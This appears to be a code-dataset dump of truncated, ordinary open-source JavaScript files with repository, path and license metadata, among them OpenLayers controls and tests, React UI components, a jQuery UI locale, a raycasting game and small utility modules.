goog.require('goog.events');
goog.require('goog.events.EventType');
goog... | yinxiaomei/ol3 | src/ol/control/fullscreencontrol.js | JavaScript | bsd-2-clause | 3,154 |
var React = require("react");
var MessageForm = require("./MessageForm");
var MessagesList = require("./MessagesList");
var LoginForm = require("./Login/LoginForm");
var MessageActions = require("./Actions/MessageActions");
var Emitter = require("./Emitter");
var MessagesStore = require("./Stores/MessagesStore");
va... | kristijan-pajtasev/ChatBOx | dev/js/.module-cache/854bb8a5b4870edd996b9fac68c2200dd8e9562f.js | JavaScript | bsd-2-clause | 1,072 |
var msg = new Array();
msg[0] = '<span class="error">此手机号已注册,请更换其它手机号</span>';
msg[1] = '<span class="error">内容不能为空</span>';
msg[2] = '<span class="error">邮箱/手机格式不正确,请重新输入</span>';
msg[3] = '<span class="ok"></span>';
msg[4] = '<span class="error">密码长度6-20个字符,请重新输入</span>';
msg[5] = '<span class="error">密码不能包含“空格”,请重新输... | kingzou/uushop | WebRoot/js/register.js | JavaScript | bsd-2-clause | 6,123 |
"use strict";
var OnePRGame3d = {
Camera: {
Position: [0.5, 0.5, 2.5],
Direction: Math.PI,
DrawDistance: 4,
XFieldOfView: 100 * Math.PI / 180,
YFieldOfView: 100 * Math.PI / 180
},
ScreenWidth: 600,
ScreenHeight: 300,
Context: document.getElementsByClassName('game-b... | woubuc/1pr | scripts/game3d.js | JavaScript | bsd-2-clause | 15,929 |
"use strict";
/**
* @param { import("../lib/css-analyzer") } analyzer
*/
function rule(analyzer) {
analyzer.on("css", function (css) {
analyzer.setMetric("length", css.length);
});
}
rule.description = "Length of CSS file";
module.exports = rule;
| macbre/analyze-css | rules/length.js | JavaScript | bsd-2-clause | 259 |
import Map from '../../../../src/ol/Map.js';
import MapBrowserEvent from '../../../../src/ol/MapBrowserEvent.js';
import View from '../../../../src/ol/View.js';
import Event from '../../../../src/ol/events/Event.js';
import {DEVICE_PIXEL_RATIO, FIREFOX} from '../../../../src/ol/has.js';
import MouseWheelZoom, {Mode} fr... | bjornharrtell/ol3 | test/spec/ol/interaction/mousewheelzoom.test.js | JavaScript | bsd-2-clause | 4,441 |
/**
* Module : neoui-dialog
* Author : Kvkens(yueming@yonyou.com)
* Date : 2016-08-02 15:29:55
*/
import {BaseComponent} from 'tinper-sparrow/js/BaseComponent';
import {addClass,removeClass,hasClass,getStyle,makeDOM,makeModal} from 'tinper-sparrow/js/dom';
import {on,stopEvent,trigger} from 'tinper-sparr... | iuap-design/iuap-design | js/neoui-dialog.js | JavaScript | bsd-2-clause | 19,957 |
/*
VPAnimEngine 'transform' renderer module
(c) 2011-13, Steve Sims and Vert Pixels Ltd.
All Rights Reserved
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1) Redistributions of source code must retain the above... | stevesims/vpanimengine | renderers/transform.js | JavaScript | bsd-2-clause | 3,563 |
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
var config_1 = __importDefault(require("../../config"));
var is_function_1 = __importDefault(require("../../is-function"));
module.exports = function requireSriForChec... | CESNET/etlog | node_modules/helmet-csp/dist/lib/check-options/check-directive/require-sri-for.js | JavaScript | bsd-3-clause | 946 |
/*! jQuery UI - v1.9.2 - 2015-05-24
* http://jqueryui.com
* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */
jQuery(function(e){e.datepicker.regional.ja={closeText:"閉じる",prevText:"<前",nextText:"次>",currentText:"今日",monthNames:["1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","... | innervisiongroup/FoodlidaysWebApp | www/development-bundle/ui/minified/i18n/jquery.ui.datepicker-ja.min.js | JavaScript | bsd-3-clause | 830 |
/*
* Copyright (c) Burak Arslan (burak.arslan-qx@arskom.com.tr).
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* ... | arskom/qxsoap | source/class/soap/Parameters.js | JavaScript | bsd-3-clause | 13,574 |
import React from 'react';
export default function (props){
return (
<header className="demo-header mdl-layout__header mdl-color--grey-100 mdl-color-text--grey-600">
<div className="mdl-layout__header-row">
<span className="mdl-layout-title">DETER</span>
<div className="mdl-layout... | tersfeld/DETER | front/src/containers/menu.js | JavaScript | bsd-3-clause | 522 |
jQuery.entwine("workflow", function($) {
$(".workflow-field").entwine({
Loading: null,
Dialog: null,
onmatch: function() {
var self = this;
this.setLoading(this.find(".workflow-field-loading"));
this.setDialog(this.find(".workflow-field-dialog"));
this.getDialog().data("workflow-field", this).dial... | silverstripe-australia/council-demo | advancedworkflow/javascript/WorkflowField.js | JavaScript | bsd-3-clause | 3,760 |
var digits = '0123456789';
var lowercase = 'abcdefghijklmnoprstuvxuyz';
var uppercase = lowercase.toUpperCase();
var special = '+/';
var base64Chars;
var base62Chars;
var base32Chars;
var generateBaseString;
module.exports = (exports = {});
base64Chars = function() {
return [digits, lowercase, uppercase, special].j... | javierbyte/clashjs | src/lib/string-tools.js | JavaScript | bsd-3-clause | 1,112 |
'use strict';
const assert = require('assert');
const { getConfig } = require('testium-core');
const { browser } = require('../mini-testium-mocha');
const browserName = getConfig().get('browser');
describe('evaluation', () => {
before(browser.beforeHook());
describe('browser.evaluate()', () => {
before(() =... | testiumjs/testium-driver-wd | test/integration/evaluate.test.js | JavaScript | bsd-3-clause | 3,101 |
/*
* Copyright (c) 2014 Jesse van den Kieboom. All rights reserved.
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list... | jessevdk/webgl-play | js/ui/spinner.js | JavaScript | bsd-3-clause | 3,252 |
define([
"dojo/_base/declare",
"clipart/_clipart"
], function(declare, _clipart){
return declare("clipart.Image", [_clipart], {
});
});
| xblox/control-freak | Code/client/src/lib/xibm/ibm/clipart/Image.js | JavaScript | bsd-3-clause | 153 |